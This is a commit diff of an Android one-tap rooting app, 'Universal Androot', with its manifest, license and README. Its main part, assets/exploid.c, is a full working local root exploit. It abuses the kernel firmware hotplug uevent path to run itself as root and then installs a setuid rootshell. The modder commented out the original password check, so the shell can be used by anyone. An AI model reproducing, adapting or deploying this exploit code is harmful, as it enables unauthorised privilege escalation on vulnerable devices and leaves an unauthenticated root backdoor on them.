initial version

AndroidManifest.xml

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+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+      package="com.corner23.android.universalandroot"
+      android:versionCode="11"
+      android:versionName="1.6.2">
+    <application android:icon="@drawable/icon" android:label="@string/app_name">
+        <activity android:name=".UniversalAndroot"
+                  android:label="@string/app_name"
+                  android:screenOrientation="portrait">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+	<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+	<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+	<uses-permission android:name="android.permission.WAKE_LOCK" />
+	<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+</manifest> 

LICENSE

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+Copyright (c) 2010, Shaka Huang
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+Neither the name of the UniversalAndroot nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+

README

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+Original exploit from here:
+http://c-skills.blogspot.com/2010/07/android-trickery.html
+
+Superuser.apk & su files from here:
+http://forum.xda-developers.com/showthread.php?t=682828
+
+Install apk and press "Root", just one touch and get root ! Doesn't need
+computer and key in complex instructions, enjoy the painless root process
+:-)
+
+Modified version of exploid.c is in assets directory.
+
+Any questions feel free contact me !
+
+Download APK here: http://bit.ly/aa4jxJ
+Blog post (Chinese): http://bit.ly/aZXvAI
+
+2010-08-04:
+Initial version
+

assets/exploid.c

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+/* android 1.x/2.x the real youdev feat. init local root exploit.
+ * (C) 2009/2010 by The Android Exploid Crew.
+ *
+ * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
+ * Or use /data/local/tmp if available (thx to ioerror!) It is important to
+ * to use /sqlite_stmt_journals directory if available.
+ * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
+ * or use USB keys etc. This will invoke hotplug which is actually
+ * our exploit making /system/bin/rootshell.
+ * This exploit requires /etc/firmware directory, e.g. it will
+ * run on real devices and not inside the emulator.
+ * I'd like to have this exploitet by using the same blockdevice trick
+ * as in udev, but internal structures only allow world writable char
+ * devices, not block devices, so I used the firmware subsystem.
+ *
+ * !!!This is PoC code for educational purposes only!!!
+ * If you run it, it might crash your device and make it unusable!
+ * So you use it at your own risk!
+ *
+ * Thx to all the TAEC supporters.
+ */
+#include <stdio.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <linux/netlink.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <string.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <signal.h>
+#include <sys/mount.h>
+
+
+// CHANGE!
+#define SECRET "secret"
+
+
+void die(const char *msg)
+{
+	perror(msg);
+	exit(errno);
+}
+
+
+void copy(const char *from, const char *to)
+{
+	int fd1, fd2;
+	char buf[0x1000];
+	ssize_t r = 0;
+
+	if ((fd1 = open(from, O_RDONLY)) < 0)
+		die("[-] open");
+	if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0)
+		die("[-] open");
+	for (;;) {
+		r = read(fd1, buf, sizeof(buf));
+		if (r < 0)
+			die("[-] read");
+		if (r == 0)
+			break;
+		if (write(fd2, buf, r) != r)
+			die("[-] write");
+	}
+
+	close(fd1);
+	close(fd2);
+	sync(); sync();
+}
+
+
+void clear_hotplug()
+{
+	int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
+	write(ofd, "", 1);
+	close(ofd);
+}
+
+
+void unlinkTmpFiles() 
+{
+	unlink("/sqlite_stmt_journals/data");
+	unlink("/sqlite_stmt_journals/hotplug");
+	unlink("/sqlite_stmt_journals/loading");
+	unlink("/sqlite_stmt_journals/mount");
+	unlink("/sqlite_stmt_journals/fs_type");
+
+	unlink("/data/local/tmp/data");
+	unlink("/data/local/tmp/hotplug");
+	unlink("/data/local/tmp/loading");
+	unlink("/data/local/tmp/mount");
+	unlink("/data/local/tmp/fs_type");
+
+	unlink("/data/data/com.corner23.android.universalandroot/files/data");
+	unlink("/data/data/com.corner23.android.universalandroot/files/hotplug");
+	unlink("/data/data/com.corner23.android.universalandroot/files/loading");
+	unlink("/data/data/com.corner23.android.universalandroot/files/mount");
+	unlink("/data/data/com.corner23.android.universalandroot/files/fs_type");
+}
+
+
+void rootshell(char **env, char **argv)
+{
+	char pwd[128];
+	char *sh[] = {"/system/bin/sh", 0};
+
+	/* shakalaca: skip checks { */
+	/*
+	memset(pwd, 0, sizeof(pwd));
+	readlink("/proc/self/fd/0", pwd, sizeof(pwd));
+
+	if (strncmp(pwd, "/dev/pts/", 9) != 0)
+		die("[-] memory tricks");
+
+	write(1, "Password (echoed):", 18);
+	memset(pwd, 0, sizeof(pwd));
+	read(0, pwd, sizeof(pwd) - 1);
+	sleep(2);
+
+	if (strlen(pwd) < 6)
+		die("[-] password too short");
+	if (memcmp(pwd, SECRET, strlen(SECRET)) != 0)
+		die("[-] wrong password");
+        */
+	/* shakalaca: skip checks } */
+
+	setuid(0); setgid(0);
+
+	unlinkTmpFiles();
+	execve(*sh, argv, env);
+	die("[-] execve");
+}
+
+
+int main(int argc, char **argv, char **env)
+{
+	char buf[512], path[512], buf2[512];
+	int ofd, ifd;
+	struct sockaddr_nl snl;
+	struct iovec iov = {buf, sizeof(buf)};
+	struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
+	int sock;
+	char *basedir = NULL;
+        int len;
+        char path_fix[512];
+
+        /* shakalaca: check if this program is called from UI or from CLI { */
+	char pwd[128];
+
+	memset(pwd, 0, sizeof(pwd));
+	readlink("/proc/self/fd/0", pwd, sizeof(pwd));
+        /* shakalaca: check if this program is called from UI or from CLI } */
+
+ 	/* I hope there is no LD_ bug in androids rtld :) */
+	if (geteuid() == 0 && getuid() != 0)
+		rootshell(env, argv);
+
+        memset(path, 0, sizeof(path));
+	if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
+		die("[-] readlink");
+
+        len = strlen(path);
+        if (path[len - 1] > 127) {
+          len--;
+        }
+
+	if (geteuid() == 0) {
+                char mp[128], fstype[16];
+		clear_hotplug();
+		/* remount /system rw */
+                /* shakalaca: read mount settings from file { */
+		/*
+		if (mount("/dev/mtdblock0", "/system", "yaffs2", MS_REMOUNT, 0) < 0)
+			mount("/dev/mtdblock0", "/system", "yaffs", MS_REMOUNT, 0);
+                */
+                /* shakalaca: check mount file and change to right directory */
+                if ((ifd = open("/sqlite_stmt_journals/mount", O_RDONLY)) < 0) {
+                  if ((ifd = open("/data/local/tmp/mount", O_RDONLY)) < 0) {
+                    if ((ifd = open("/data/data/com.corner23.android.universalandroot/files/mount", O_RDONLY)) < 0) {
+                      die("[-] missing required files..");
+                    } else {
+                      chdir("data/data/com.corner23.android.universalandroot/files/");
+                      close(ifd);
+                    }
+                  } else {
+                    chdir("/data/local/tmp");
+                    close(ifd);
+                  }
+                } else {
+                  chdir("/sqlite_stmt_journals");
+                  close(ifd);
+                }
+
+                if ((ifd = open("mount", O_RDONLY)) < 0)
+                        die("[-] open mount point");
+		if (read(ifd, mp, sizeof(mp)) < 0)
+		        die("[-] read mount point");
+                close(ifd);
+
+                if ((ifd = open("fs_type", O_RDONLY)) < 0)
+                        die("[-] open fs type");
+		if (read(ifd, fstype, sizeof(fstype)) < 0)
+		        die("[-] read fs type");
+                close(ifd);
+
+                mount(mp, "/data", fstype, MS_REMOUNT, 0);
+                /* shakalaca: read mount settings from file } */
+
+                strncpy(path_fix, path, len);
+                path_fix[len] = '\0';
+		copy(path_fix, "/data/local/tmp/rootshell");
+		chmod("/data/local/tmp/rootshell", 04711);
+		/* shakalaca: do not loop forever, it will eat cpu resource { */
+		/* 
+		for (;;); 
+		*/
+		exit(1);
+		/* shakalaca: do not loop forever, it will eat cpu resource } */
+	}
+
+	printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
+	printf("[*] Modified by shakalaca for various devices\n");
+
+	/*
+	basedir = "/sqlite_stmt_journals";
+	if (chdir(basedir) < 0) {
+		basedir = "/data/local/tmp";
+		if (chdir(basedir) < 0)
+			basedir = strdup(getcwd(buf, sizeof(buf)));
+	}
+	*/
+        basedir = "/sqlite_stmt_journals";
+        if (chdir(basedir) < 0) {
+                basedir = strdup(getcwd(buf, sizeof(buf)));
+                if (chdir("/data/local/tmp") < 0) {
+                        // Use from Android UI, fall back to project directory
+                	if (strncmp(pwd, "/dev/pts/", 9) != 0) {
+                                basedir = "/data/data/com.corner23.android.universalandroot/files";
+                                if (chdir(basedir) < 0)
+                                        die("[-] chdir");
+                        }
+                } else {
+                        // test if it's writable
+                        if ((ofd = creat("test", 0644)) < 0) {
+                                if (strncmp(pwd, "/dev/pts/", 9) != 0) {
+                                        // Use from Android UI, fall back to project directory
+                                        basedir = "/data/data/com.corner23.android.universalandroot/files";
+                                }
+                                if (chdir(basedir) < 0) 
+                                        die("[-] chdir");
+                        } else {
+                                basedir = "/data/local/tmp";
+                                unlink("test");
+                        }
+                        close(ofd);
+                }
+        }
+
+	printf("[+] Using basedir=%s, path=%s\n", basedir, path);
+	printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");
+
+	/* shakalaca: remove old data if possible { */
+	unlink("data");
+	unlink("hotplug");
+	unlink("loading");
+	unlink("mount");
+	unlink("fs_type");
+	/* shakalaca: remove old data if possible } */
+
+	memset(&snl, 0, sizeof(snl));
+	snl.nl_pid = 1;
+	snl.nl_family = AF_NETLINK;
+
+	if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
+		die("[-] socket");
+
+	close(creat("loading", 0666));
+	if ((ofd = creat("hotplug", 0644)) < 0)
+		die("[-] creat");
+	if (write(ofd, path, len) < 0)
+		die("[-] write");
+	close(ofd);
+
+	/* shakalaca: for remember mount device and filesystem type of /system { */
+	if ((ofd = creat("mount", 0644)) < 0)
+                die("[-] creat mount point");
+        if (write(ofd, argv[1], strlen(argv[1])) < 0)
+                die("[-] write mount point");        
+        close(ofd);
+
+	if ((ofd = creat("fs_type", 0644)) < 0)
+                die("[-] creat fs type");
+        if (write(ofd, argv[2], strlen(argv[2])) < 0)
+                die("[-] write fs type");        
+        close(ofd);
+	/* shakalaca: for remember mount device and filesystem type of /system } */
+
+	symlink("/proc/sys/kernel/hotplug", "data");
+	snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
+	         "SUBSYSTEM=firmware%c"
+	         "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
+	printf("[+] sending add message ...\n");
+	if (sendmsg(sock, &msg, 0) < 0)
+		die("[-] sendmsg");
+	close(sock);
+	printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
+	       "[*] settings, plugin USB key etc.\n"
+	       "[*] You succeeded if you find /system/bin/rootshell.\n"
+	       "[*] GUI might hang/restart meanwhile so be patient.\n");
+	sleep(3);
+	return 0;
+}
+

default.properties

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+# This file is automatically generated by Android Tools.
+# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
+# 
+# This file must be checked in Version Control Systems.
+# 
+# To customize properties used by the Ant build system use,
+# "build.properties", and override values to adapt the script to your
+# project structure.
+
+# Project target.
+target=android-8